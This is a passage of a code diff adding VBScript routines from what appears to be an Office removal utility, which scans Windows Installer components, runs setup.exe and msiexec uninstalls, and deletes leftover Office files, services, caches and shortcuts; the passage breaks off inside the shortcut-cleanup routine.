+    'Errors will be logged but must not fail the execution
+    On Error Resume Next
+    Log " Cache .msi files to temporary Scrub folder"
+    'Cache the files
+    For Each Product in oMsi.Products
+        'Ensure valid GUID length
+        If CheckDeleteEx(Product) Then
+            CheckError "CacheMsiFiles"
+            sMsiFile = oMsi.ProductInfo(Product,"LocalPackage") : CheckError "CacheMsiFiles"
+            LogOnly " - " & Product & ".msi"
+            If oFso.FileExists(sMsiFile) Then oFso.CopyFile sMsiFile,sScrubDir & "\" & Product & ".msi",True
+            CheckError "CacheMsiFiles"
+        End If 'InScope
+    Next 'Product
+
+    Err.Clear
+End Sub 'CacheMsiFiles
+'=======================================================================================================
+
+'Build a list of all files that will be deleted
+Sub ScanComponents
+    Const MSIINSTALLSTATE_LOCAL = 3
+
+    Dim FileList, RegList, ComponentID, CompClient, Record, qView, MsiDb, CompVerbose
+    Dim Processes, Process, Prop, prod
+    Dim sQuery, sSubKeyName, sPath, sFile, sMsiFile, sCompClient, sComponent, sCompReg
+    Dim fRemoveComponent, fAffectedComponent, fIsPermanent, fIsFile, fIsFolder
+    Dim i, iProgress, iCompCnt, iRemCnt
+    Dim dicFLError, oDic, oFolderDic, dicCompPath
+    Dim hDefKey
+
+    'Logfile
+    Set FileList = oFso.OpenTextFile(sScrubDir & "\FileList.txt",FOR_WRITING,True,True)
+    Set RegList = oFso.OpenTextFile(sScrubDir & "\RegList.txt",FOR_WRITING,True,True)
+    Set CompVerbose = oFso.OpenTextFile(sScrubDir & "\CompVerbose.txt",FOR_WRITING,True,True)
+
+    'FileListError dic
+    Set dicFLError = CreateObject("Scripting.Dictionary")
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    Set oFolderDic = CreateObject("Scripting.Dictionary")
+    Set dicCompPath = CreateObject("Scripting.Dictionary")
+
+    'Prevent that API errors fail script execution
+    On Error Resume Next
+
+    iCompCnt = oMsi.Components.Count
+    If NOT Err = 0 Then
+        'API failure
+        Log "Error during components detection. Cannot complete this task."
+        Err.Clear
+        Exit Sub
+    End If
+
+    'Ensure to not divide by zero
+    If iCompCnt = 0 Then iCompCnt = 1
+    LogOnly " Scanning " & iCompCnt & " components"
+    'Enum all Components
+    For Each ComponentID In oMsi.Components
+        CompVerbose.WriteLine vbCrLf & "Checking Component: " & ComponentID
+
+        'Progress bar
+        i = i + 1
+        If iProgress < (i / iCompCnt) * 100 Then
+            If fCScript Then wscript.stdout.write "." : LogStream.Write "."
+            iProgress = iProgress + 1
+            If iProgress = 35 OR iProgress = 70 Then Log ""
+        End If
+
+        'Check if all ComponentClients will be removed
+        sCompClient = ""
+        iRemCnt = 0
+        fIsPermanent = False
+        fRemoveComponent = False 'Flag to track if the component will be completely removed
+        fAffectedComponent = False 'Flag to track if some clients remain installed who have a none shared location
+        dicCompPath.RemoveAll
+        Err.Clear
+        For Each CompClient In oMsi.ComponentClients(ComponentID)
+            CompVerbose.Write " CompClient " & CompClient & "-> "
+            If Err = 0 Then
+                'Ensure valid guid length
+                If Len(CompClient) = 38 Then
+                    fRemoveComponent = InScope(CompClient)
+                    If fRemoveComponent OR (CompClient = "{{00000000-0000-0000-0000-000000000000}") Then
+                        sPath = ""
+                        sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                        sPath = Replace(sPath,"?",":")
+                        'Scan for msidbComponentAttributesPermanent flag
+                        If CompClient = "{{00000000-0000-0000-0000-000000000000}" Then
+                            fIsPermanent = True
+                            iRemCnt = iRemCnt + 1
+                        End If
+                        If fRemoveComponent Then fRemoveComponent = CheckDelete(CompClient)
+                        CompVerbose.Write "CheckDelete: " & fRemoveComponent & "; "
+                        If fRemoveComponent Then
+                            iRemCnt = iRemCnt + 1
+                            fAffectedComponent = True
+                            'Since the scope remains within one Office family the keypath for the component
+                            'is assumed to be identical
+                            If sCompClient = "" Then sCompClient = CompClient
+                        ' flag the CompClient entry for removal
+                            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKCR
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"&GetCompressedGuid(CompClient)
+                            If NOT dicDelRegKey.Exists(sCompReg) Then
+                                dicDelRegKey.Add sCompReg,HKLM
+                                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+                            End If
+                        Else
+                            If NOT dicCompPath.Exists(sPath) Then dicCompPath.Add sPath,CompClient
+                        End If
+                        CompVerbose.WriteLine "AffectedComponent: " & fAffectedComponent
+                        CompVerbose.WriteLine " CompClient now set to: " & sCompClient
+                    Else
+                        CompVerbose.Write "InScope: " & fRemoveComponent & "; "
+                    End If
+                Else
+                    CompVerbose.WriteLine "Error: Invalid metadata"
+                    If NOT dicFLError.Exists("Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient) Then _
+                        dicFLError.Add "Error: Invalid metadata found. ComponentID: "&ComponentID &", ComponentClient: "&CompClient, ComponentID
+                End If '38
+            Else
+                CompVerbose.WriteLine "Error: " & Err.number & " " & Err.Description
+                Err.Clear
+            End If 'Err = 0
+        Next 'CompClient
+
+        'Determine if the component resources go away
+        sPath = ""
+        fRemoveComponent = fAffectedComponent AND (iRemCnt = oMsi.ComponentClients(ComponentID).Count)
+        CompVerbose.WriteLine " Component goes away: " & fRemoveComponent
+' This caused unintentional removals
+'        If NOT fRemoveComponent AND fAffectedComponent Then
+'            'Flag as removable if component has a unique keypath
+'            sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+'            sPath = Replace(sPath,"?",":")
+'            fRemoveComponent = NOT dicCompPath.Exists(sPath)
+'        End If
+        If fRemoveComponent Then
+            'Check msidbComponentAttributesPermanent flag
+            If fIsPermanent AND NOT fForce Then fRemoveComponent = False
+            CompVerbose.WriteLine " msidbComponentAttributesPermanent: " & NOT fRemoveComponent
+        End If
+
+        If fRemoveComponent Then
+            CompVerbose.WriteLine " RESULT: Component IN SCOPE for removal"
+            fIsFile = False : fIsFolder = False
+
+            'Component resources go away for this product
+            Err.Clear
+            'Add the component registration key to ensure removal
+            sCompReg = "Installer\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKCR
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            sCompReg = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\"&GetCompressedGuid(ComponentID)&"\"
+            If NOT dicDelRegKey.Exists(sCompReg) Then
+                dicDelRegKey.Add sCompReg,HKLM
+                RegList.WriteLine HiveString(HKCR)&"\"&sCompReg
+            End If
+            'Get the component path
+            If sPath = "" Then
+                sPath = LCase(oMsi.ComponentPath(sCompClient,ComponentID))
+                sPath = Replace(sPath,"?",":")
+            End If
+            CompVerbose.WriteLine " Path: " & sPath
+            If Len(sPath) > 4 Then
+                If Left(sPath,1) = "0" Then
+                    'Registry keypath
+
+                    Select Case Left(sPath,2)
+                    Case "00"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCR
+                    Case "01"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKCU
+                    Case "02","22"
+                        sPath = Mid(sPath,5)
+                        hDefKey = HKLM
+                    Case Else
+                        '
+                    End Select
+
+                    'Go for the safe way and just reset the default entry
+                    'compared to deleting the whole key
+                    If Right(sPath,1) = "\" Then sPath = sPath & "(Default)"
+
+                    If NOT dicDelRegKey.Exists(sPath) Then
+                        dicDelRegKey.Add sPath,hDefKey
+                        RegList.WriteLine HiveString(hDefKey)&"\"&sPath
+                    End If
+                Else
+
+                    'File or Folder
+                    If oFso.FileExists(sPath) OR oFso.FolderExists(sPath) Then
+                        If Right(sPath,1) = "\" Then
+                            fIsFolder = True
+                            CompVerbose.WriteLine " Folder check OK"
+                        Else
+                            fIsFile = True
+                            CompVerbose.WriteLine " File check OK"
+                        End If
+                        If fIsFile Then sPath = oFso.GetFile(sPath).ParentFolder
+                        If Not oFolderDic.Exists(sPath) Then
+                            oFolderDic.Add sPath,sPath
+                            FileList.WriteLine sPath & vbTab & "(FOLDER)"
+                        End If
+                        'Get the .msi file
+                        If oFso.FileExists(sScrubDir & "\" & sCompClient & ".msi") Then
+                            sMsiFile = sScrubDir & "\" & sCompClient & ".msi"
+                        Else
+                            sMsiFile = oMsi.ProductInfo(sCompClient,"LocalPackage")
+                        End If
+                        CompVerbose.WriteLine " Set msi file to : " & sMsiFile
+                        If Not Err = 0 Then
+                            CompVerbose.WriteLine " Error: Failed to obtain .msi file for product " & sCompClient
+                            If NOT dicFLError.Exists("Failed to obtain .msi file for product "&sCompClient) Then _
+                                dicFLError.Add "Failed to obtain .msi file for product "&sCompClient, ComponentID
+                            Err.Clear
+                        End If
+                        CompVerbose.Write " Open .msi file for reading returned: "
+                        Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+
+                        If Err = 0 Then
+                            CompVerbose.WriteLine " SUCCESS"
+                            'Get the component name from the 'Component' table
+                            sQuery = "SELECT `Component`,`ComponentId` FROM Component WHERE `ComponentId` = '" & ComponentID &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            If Not Record Is Nothing Then sComponent = Record.Stringdata(1)
+                            CompVerbose.WriteLine " Obtained ComponentId as: " & sComponent
+
+                            'Get filenames from the 'File' table
+                            sQuery = "SELECT `Component_`,`FileName` FROM File WHERE `Component_` = '" & sComponent &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            Do Until Record Is Nothing
+                                'Read the filename
+                                sFile = Record.StringData(2)
+                                If InStr(sFile,"|") > 0 Then sFile = Mid(sFile,InStr(sFile,"|")+1,Len(sFile))
+                                'sFile = sPath & "\" & sFile
+                                CompVerbose.WriteLine "  File: " & sPath& "\" & sFile
+                                If Not oDic.Exists(sPath & "\" & sFile) Then
+                                    'Exception handler
+                                    fAdd = True
+                                    Select Case UCase(sFile)
+                                    Case "FPERSON.DLL"
+                                        'Catch exception caused by changed .msi keypath authoring logic for smart tags
+                                        For Each prod in oMsi.Products
+                                            If NOT Checkdelete(prod) Then
+                                                If oMsi.FeatureState(prod, "MSTagPluginNamesFiles") = MSIINSTALLSTATE_LOCAL Then
+                                                    fAdd = False
+                                                    Exit For
+                                                End If
+                                            End If
+                                        Next 'prod
+                                    Case Else
+                                    End Select
+                                    If fAdd Then
+                                        CompVerbose.WriteLine "  Added as new file to dictionary"
+                                        oDic.Add sPath & "\" & sFile,sFile
+                                        FileList.WriteLine sFile & vbTab & sPath & "\" & sFile
+                                        If Len(sFile)>4 Then
+                                            sFile = LCase(sFile)
+                                            If Right(sFile,4) = ".exe" Then
+                                                If NOT dicApps.Exists(sFile) Then
+                                                    Select Case sFile
+                                                    Case "setup.exe","ose.exe","osppsvc.exe","explorer.exe"
+                                                    Case Else
+                                                        dicApps.Add sFile,LCase(sPath) & "\" & sFile
+                                                        CompVerbose.WriteLine "  Added to the list of processes that need to be closed."
+                                                    End Select
+                                                End If 'dicApps.Exists
+                                            End If '.exe
+                                        End If 'Len > 4
+                                    End If 'fAdd
+                                End If 'oDic.Exists
+                                Set Record = qView.Fetch()
+                            Loop
+                            Set Record = Nothing
+                            qView.Close
+                            Set qView = Nothing
+                        Else
+                            CompVerbose.WriteLine " Error: Could not read from .msi file"
+                            If NOT dicFLError.Exists("Error: Could not read from .msi file: "&sMsiFile) Then _
+                                dicFLError.Add "Error: Could not read from .msi file: "&sMsiFile, ComponentID
+                            Err.Clear
+                        End If 'Err = 0
+                    Else
+                        CompVerbose.WriteLine " Error: File check FAILED"
+                    End If 'FileExists(sPath)
+                End If
+            End If 'Len(sPath) > 4
+        Else
+            CompVerbose.WriteLine " RESULT: Component NOT in scope for removal"
+            If fAffectedComponent Then
+                'Add the path to the 'Keep' dictionary
+                Err.Clear
+                For Each CompClient In oMsi.ComponentClients(ComponentID)
+                    'Get the component path
+                    sPath = "" : sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                    sPath = Replace(sPath,"?",":")
+
+                    If Len(sPath) > 4 Then
+                        If Left(sPath,1) = "0" Then
+                            'Registry keypath
+
+                            Select Case Left(sPath,2)
+                            Case "00"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCR
+                            Case "01"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCU
+                            Case "02","22"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKLM
+                            Case Else
+                                '
+                            End Select
+                            If NOT dictionaryKeepReg.Exists(LCase(sPath)) Then
+                                dictionaryKeepReg.Add LCase(sPath),hDefKey
+                            End If
+                        Else
+                            'File keypath
+                            If oFso.FileExists(sPath) Then
+                                If NOT dictionaryKeepFolder.Exists(LCase(sPath)) Then dictionaryKeepFolder.Add LCase(sPath)
+                                sPath = LCase(oFso.GetFile(sPath).ParentFolder) & "\"
+                                If NOT dictionaryKeepFolder.Exists(sPath) Then AddKeepFolder sPath
+                            End If
+                            'Folder keypath
+                            If oFso.FolderExists(sPath) Then AddKeepFolder sPath
+                        End If 'Is Registry
+                    End If 'sPath > 4
+                Next 'CompClient
+            End If 'fAffectedComponent
+        End If 'fRemoveComponent
+        Err.Clear
+    Next 'ComponentID
+    On Error Goto 0
+
+    Log " Done" & vbCrLf
+    If dicFLError.Count > 0 Then LogOnly Join(dicFLError.Keys,vbCrLf)
+    If Not oFolderDic.Count = 0 Then arrDeleteFolders = oFolderDic.Keys Else Set arrDeleteFolders = Nothing
+    If Not oDic.Count = 0 Then arrDeleteFiles = oDic.Keys Else Set arrDeleteFiles = Nothing
+End Sub 'ScanComponents
+'=======================================================================================================
+
+
+'Try to remove the products by calling setup.exe
+Sub SetupExeRemoval
+    Dim OseService, Service, TextStream
+    Dim iSetupCnt, RetVal
+    Dim Sku, sConfigFile, sUninstallCmd, sCatalyst, sDll, sDisplayLevel, sNoCancel
+    iSetupCnt = 0
+    If Not dicRemoveSku.Count > 0 Then
+        Log " Nothing to remove for Setup.exe"
+        Exit Sub
+    End If
+
+    'Ensure that the OSE service is *installed, *not disabled, *running under System context.
+    'If validation fails exit out of this sub.
+    Set OseService = oWmiLocal.Execquery("Select * From Win32_Service Where Name like 'ose%'")
+    If OseService.Count = 0 Then Exit Sub
+    For Each Service in OseService
+        If (Service.StartMode = "Disabled") AND (Not Service.ChangeStartMode("Manual")=0) Then Exit Sub
+        If (Not Service.StartName = "LocalSystem") AND (Service.Change( , , , , , , "LocalSystem", "")) Then Exit Sub
+    Next 'Service
+
+    For Each Sku in dicRemoveSku.Keys
+
+        If Sku="CLICK2RUN" Then
+            'Already done
+        Else
+            'Create an "unattended" config.xml file for uninstall
+            If fQuiet Then sDisplayLevel = "None" Else sDisplayLevel="Basic"
+            If fNoCancel Then sNoCancel="Yes" Else sNoCancel="No"
+            Set TextStream = oFso.OpenTextFile(sScrubDir & "\config.xml",FOR_WRITING,True,True)
+            TextStream.Writeline "<Configuration Product=""" & Sku & """>"
+            TextStream.Writeline "<Display Level=""" & sDisplayLevel & """ CompletionNotice=""No"" SuppressModal=""Yes"" NoCancel=""" & sNoCancel & """ AcceptEula=""Yes"" />"
+            TextStream.Writeline "<Logging Type=""Verbose"" Path=""" & sLogDir & """ Template=""Microsoft Office " & Sku & " Setup(*).txt"" />"
+            TextStream.Writeline "<Setting Id=""MSIRESTARTMANAGERCONTROL"" Value=""Disable"" />"
+            TextStream.Writeline "<Setting Id=""SETUP_REBOOT"" Value=""Never"" />"
+            TextStream.Writeline "</Configuration>"
+            TextStream.Close
+            Set TextStream = Nothing
+
+            'Ensure path to setup.exe is valid to prevent errors
+            sDll = ""
+            If RegReadValue(HKLM,REG_ARP & OREGREF & Sku,"UninstallString",sCatalyst,"REG_SZ") Then
+                If InStr(LCase(sCatalyst),"/dll")>0 Then sDll = Right(sCatalyst,Len(sCatalyst)-InStr(LCase(sCatalyst),"/dll")+2)
+                If InStr(sCatalyst,"/")>0 Then sCatalyst = Left(sCatalyst,InStr(sCatalyst,"/")-1)
+                sCatalyst = Trim(Replace(sCatalyst,Chr(34),""))
+                If NOT oFso.FileExists(sCatalyst) Then
+                    sCatalyst = sCommonProgramFiles & "\" & OREF & "\Office Setup Controller\setup.exe"
+                    If NOT oFso.FileExists(sCatalyst) AND f64 Then
+                        sCatalyst = sCommonProgramFilesX86 & "" & OREF & "\Office Setup Controller\setup.exe"
+                    End If
+                End If
+                If oFso.FileExists(sCatalyst) Then
+                    sUninstallCmd = Chr(34) & sCatalyst & Chr(34) & " /uninstall " & Sku & " /config " & Chr(34) & sScrubDir & "\config.xml" & Chr(34) & sDll
+                    iSetupCnt = iSetupCnt + 1
+                    Log " - Calling Setup.exe to remove " & Sku '& vbCrLf & sUninstallCmd
+                    If Not fDetectOnly Then
+                        On Error Resume Next
+                        ' end other instances of setup
+                        EndCurrentInstalls
+                        ' call uninstall
+                        RetVal = oWShell.Run(sUninstallCmd,0,True) : CheckError "SetupExeRemoval"
+                        Log " - Setup.exe returned: " & SetupRetVal(Retval) & " (" & RetVal & ")" & vbCrLf
+                        fRebootRequired = fRebootRequired OR (RetVal = "3010")
+                        On Error Goto 0
+                    Else
+                        Log " -> Removal suppressed in preview mode."
+                    End If
+                Else
+                    Log " Error: Office setup.exe appears to be missing"
+                End If 'RetVal = 0) AND oFso.FileExists
+            End If 'RegReadValue
+        End If
+    Next 'Sku
+    If iSetupCnt = 0 Then Log " Nothing to remove for setup."
+End Sub 'SetupExeRemoval
+'=======================================================================================================
+
+'Invoke msiexec to remove individual .MSI packages
+Sub MsiexecRemoval
+
+    Dim Product
+    Dim i
+    Dim sCmd, sReturn, sMsiProp
+    Dim fRegWipe
+
+    fRegWipe = False
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        sMsiProp = " REBOOT=ReallySuppress NOLOCALCACHEROLLBACK=1"
+    Case "12"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "14"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "15"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case Else
+    End Select
+
+    'Clear up ARP first to avoid possible custom action dependencies
+    If fRegWipe Then RegWipeARP
+
+    'Check MSI registered products
+    'Office System does only support per machine installation so it's sufficient to use Installer.Products
+    i = 0
+    sMsiProp = " MSIRESTARTMANAGERCONTROL=Disable" & sMsiProp
+    For Each Product in oMsi.Products
+        If CheckDeleteEx(Product) Then
+            i = i + 1
+            Log " Calling msiexec.exe to remove " & Product
+            sCmd = "msiexec.exe /x" & Product & sMsiProp
+            If fQuiet AND NOT fBasic Then
+                sCmd = sCmd & " /q"
+            Else
+                sCmd = sCmd & " /qb-"
+            End If
+            sCmd = sCmd & " /l*v+ "&chr(34)&sLogDir&"\Uninstall_"&Product&".log"&chr(34)
+            If NOT fDetectOnly Then
+                ' end other instances of setup
+                EndCurrentInstalls
+
+                'Execute the uninstall
+                LogOnly " - Calling msiexec with '"&sCmd&"'"
+                sReturn = oWShell.Run(sCmd, 0, True)
+                Log " - msiexec returned: " & SetupRetVal(sReturn) & " (" & sReturn & ")" & vbCrLf
+                fRebootRequired = fRebootRequired OR (sReturn = "3010") OR (sReturn = "1618")
+            Else
+                Log "  -> Removal suppressed in preview mode."
+                LogOnly "  -> Command: "&sCmd
+            End If
+        End If 'InScope
+    Next 'Product
+    If i = 0 Then Log " Nothing to remove for msiexec"
+End Sub 'MsiexecRemoval
+'=======================================================================================================
+
+'Remove the OSE (Office Source Engine) service
+Sub RemoveOSE
+    On Error Resume Next
+    Log vbCrLf & "OSE CleanUp"
+    DeleteService "ose"
+    'Delete the folder
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\Source Engine"
+    'Delete the registration
+    RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\ose\"
+End Sub 'RemoveOSE
+'=======================================================================================================
+
+
+'File cleanup operations for the Local Installation Source (MSOCache)
+Sub WipeLIS
+    Const LISROOT = "MSOCache\All Users\"
+    Dim LogicalDisks, Disk, Folder, SubFolder, MseFolder, File, Files
+    Dim arrSubFolders
+    Dim sFolder
+    Dim fRemoveFolder
+
+    Log vbCrLf & "LIS CleanUp"
+    'Search all hard disks
+    Set LogicalDisks = oWmiLocal.ExecQuery("Select * From Win32_LogicalDisk WHERE DriveType=3")
+    For Each Disk in LogicalDisks
+        If oFso.FolderExists(Disk.DeviceID & "\" & LISROOT) Then
+            Set Folder = oFso.GetFolder(Disk.DeviceID & "\" & LISROOT)
+            For Each Subfolder in Folder.Subfolders
+                If Len(Subfolder) > 37 Then
+                    If fRemoveAll Then
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) OR _
+                            LCase(Right(Subfolder.Name,7)) = OVERSIONMAJOR &".data" Then DeleteFolder Subfolder.Path
+                    Else
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) AND _
+                            CheckDelete(UCase(Left(Subfolder.Name,38))) AND _
+                            UCase(Right(Subfolder,1))= UCase(Left(Disk.DeviceID,1))Then DeleteFolder Subfolder.Path
+                    End If
+                End If 'Len > 37
+            Next 'Subfolder
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                sFolder = Folder.Path
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If 'oFso.FolderExists
+    Next 'Disk
+
+    'MSECache
+    If EnumFolders(sProgramFiles,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            If UCase(Right(SubFolder,9))="\MSECACHE" Then
+                ReDim arrMseFolders(-1)
+                Set Folder = oFso.GetFolder(SubFolder)
+                GetMseFolderStructure Folder
+                For Each MseFolder in arrMseFolders
+                    If oFso.FolderExists(MseFolder) Then
+                        fRemoveFolder = False
+                        Set Folder = oFso.GetFolder(MseFolder)
+                        Set Files = Folder.Files
+                        For Each File in Files
+                            If (LCase(Right(File.Name,4))=".msi") Then
+                                If CheckDelete(ProductCode(File.Path)) Then
+                                    fRemoveFolder = True
+                                    Exit For
+                                End If 'CheckDelete
+                            End If
+                        Next 'File
+                        Set Files = Nothing
+                        Set Folder = Nothing
+                        If fRemoveFolder Then SmartDeleteFolder MseFolder
+                    End If 'oFso.FolderExists(MseFolder)
+                Next 'MseFolder
+            End If
+        Next 'SubFolder
+    End If 'oFso.FolderExists
+End Sub 'WipeLis
+'=======================================================================================================
+
+'Wipe files and folders as documented in KB 928218
+Sub FileWipeAll
+    Dim sFolder
+    Dim Folder, Subfolder
+
+    If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+    'Handle other services.
+    Select Case OVERSIONMAJOR
+    Case "11"
+    Case "12"
+    Case "14"
+        DeleteService "odserv"
+        DeleteService "Microsoft Office Groove Audit Service"
+        DeleteService "Microsoft SharePoint Workspace Audit Service"
+    Case "15"
+    Case Else
+    End Select
+
+    'User specific files
+    If NOT fKeepUser Then
+        'Delete files that should be backed up before deleting them
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normal.dotm"
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normalemail.dotm"
+        sFolder = sAppdata & "\microsoft\document building blocks"
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            For Each Subfolder In Folder.Subfolders
+                If oFso.FileExists(Subfolder & "\blocks.dotx") Then CopyAndDeleteFile Subfolder & "\blocks.dotx"
+            Next 'Subfolder
+            Set Folder = Nothing
+        End If 'oFso.FolderExists(sFolder)
+    End If
+
+    'Run the individual filewipe from component detection first
+    FileWipeIndividual
+    If fC2rInstalled AND NOT fForce Then Exit Sub
+
+    'Take care of the rest
+    DeleteFolder sOInstallRoot
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    If (fRemoveOspp OR fForce) AND CInt(OVERSIONMAJOR) > 12 Then
+        If CInt(OVERSIONMAJOR) = 15 Then CleanOSPP
+        DeleteService "osppsvc"
+        DeleteFolder sCommonProgramFiles & "\Microsoft Shared\OfficeSoftwareProtectionPlatform"
+        DeleteFolder sAllUsersProfile & "\Microsoft\OfficeSoftwareProtectionPlatform"
+    End If
+    Select Case OVERSIONMAJOR
+    Case "12"
+    Case "14"
+        DeleteFile oWShell.SpecialFolders("AllUsersStartup")&"\OfficeSAS.lnk"
+        DeleteFile oWShell.SpecialFolders("Startup")&"\OneNote 2010 Screen Clipper and Launcher.lnk"
+    Case "15"
+    Case Else
+    End Select
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\"
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\" & OREF
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\"
+
+End Sub 'FileWipeAll
+'=======================================================================================================
+
+'Wipe individual files & folders related to SKU's that are no longer installed
+Sub FileWipeIndividual
+    Dim LogicalDisks, Disk,sc
+    Dim File, Files, XmlFile, scFiles, oFile, Folder, SubFolder, Processes, Process, item
+    Dim sFile, sFolder, sPath, sConfigName, sContents, sProductCode, sLocalDrives,sScQuery
+    Dim sValue, sScRoots
+    Dim arrSubfolders, arrShortCutRoots
+    Dim fKeepFolder, fDeleteSC
+    Dim iRet,iCnt,iPos
+
+    Log vbCrLf & "File CleanUp"
+    If IsArray(arrDeleteFiles) Then
+        If fForce OR fQuiet Then
+            Log " Doing Action: StopOSE"
+            iRet = StopService("ose")
+            Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like 'ose%.exe'")
+            For Each Process in Processes
+                LogOnly " - Running process : " & Process.Name
+                Log " -> Ending process: " & Process.Name
+                iRet = Process.Terminate()
+            Next 'Process
+            LogOnly " End Action: StopOSE"
+            CloseOfficeApps
+        End If
+        'Wipe individual files detected earlier
+        LogOnly " Removing left behind files"
+        For Each sFile in arrDeleteFiles
+            If oFso.FileExists(sFile) Then DeleteFile sFile
+        Next 'File
+    End If 'IsArray
+
+    'Wipe Catalyst in commonfiles
+    sFolder = sCommonProgramFiles & "\microsoft shared\"&OREF&"\Office Setup Controller\"
+    If EnumFolderNames(sFolder,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            sPath = sFolder & SubFolder
+            If InStr(SubFolder, ".") > 0 Then sConfigName = UCase(Left(SubFolder, InStr(SubFolder, ".") - 1)) Else sConfigName = UCase(Subfolder)
+            If GetFolderPath(sPath) Then
+                Set Folder = oFso.GetFolder(sPath)
+                Set Files = Folder.Files
+                fKeepFolder = False
+                For Each File In Files
+                    If Len(File.Name)>3 Then
+                        If (LCase(Right(File.Name,4))=".xml") Then
+                            If Len(File.Name) >= Len(sConfigName) Then
+                                If (UCase(Left(File.Name,Len(sConfigName)))=sConfigName) Then
+                                    Set XmlFile = oFso.OpenTextFile(File,1)
+                                    sContents = XmlFile.ReadAll
+                                    Set XmlFile = Nothing
+                                    sProductCode = ""
+                                    On Error Resume Next
+                                    sProductCode = Mid(sContents,InStr(sContents,"ProductCode=")+Len("ProductCode=")+1,38)
+                                    On Error Goto 0
+                                    If Len(sProductCode) = 38 Then
+                                        If CheckDelete(sProductCode) Then DeleteFile File.Path Else fKeepFolder = True
+                                    End If
+                                End If 'sConfigName
+                            End If 'Len >=
+                        End If '.xml
+                    End If 'Len(File.Name)>3
+                Next 'File
+                Set Files = Nothing
+                Set Folder = Nothing
+                If Not fKeepFolder Then DeleteFolder sPath
+            End If 'GetFolderPath
+        Next 'SubFolder
+    End If 'EnumFolderNames
+
+    'Wipe Shortcuts
+    If NOT fSkipSD Then
+        On Error Resume Next
+        Log " Searching for shortcuts"
+        CleanShortcuts sAllUsersProfile, True, False
+        CleanShortcuts sProfilesDirectory, True, False
+        On Error Goto 0
+    End If 'NOT SkipSD
+    Err.Clear
+
+End Sub 'FileWipeIndividual
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanShortcuts
+'
+'   Recursively search all profile folders for Office shortcuts in scope
+'-------------------------------------------------------------------------------
+Sub CleanShortcuts (sFolder, fDelete, fUnPin)
+    Dim oFolder, fld, file, sc, item
+    Dim fDeleteSC
+
+	Set oFolder = oFso.GetFolder(sFolder)
+	' exclude system protected link folders
+    If CBool(oFolder.Attributes AND 1024) Then Exit Sub
+
+    On Error Resume Next
+    For Each fld In oFolder.SubFolders
+        If Err <> 0 Then
+		    CheckError "CleanShortcuts: " & vbTab & sFolder
+        Else
+            CleanShortcuts fld.Path, fDelete, fUnPin
+        End If
+	Next
+    For Each file In oFolder.Files
+		If LCase(Right(file.Path, 4)) = ".lnk" Then
+            fDeleteSC = False
+            LogOnly " check file: " & file.Path
+            set sc = oWShell.CreateShortcut(file.Path)
+            If Err <> 0 Then
+		        CheckError "CleanShortcutsSC: " & vbTab & sFolder
+            Else
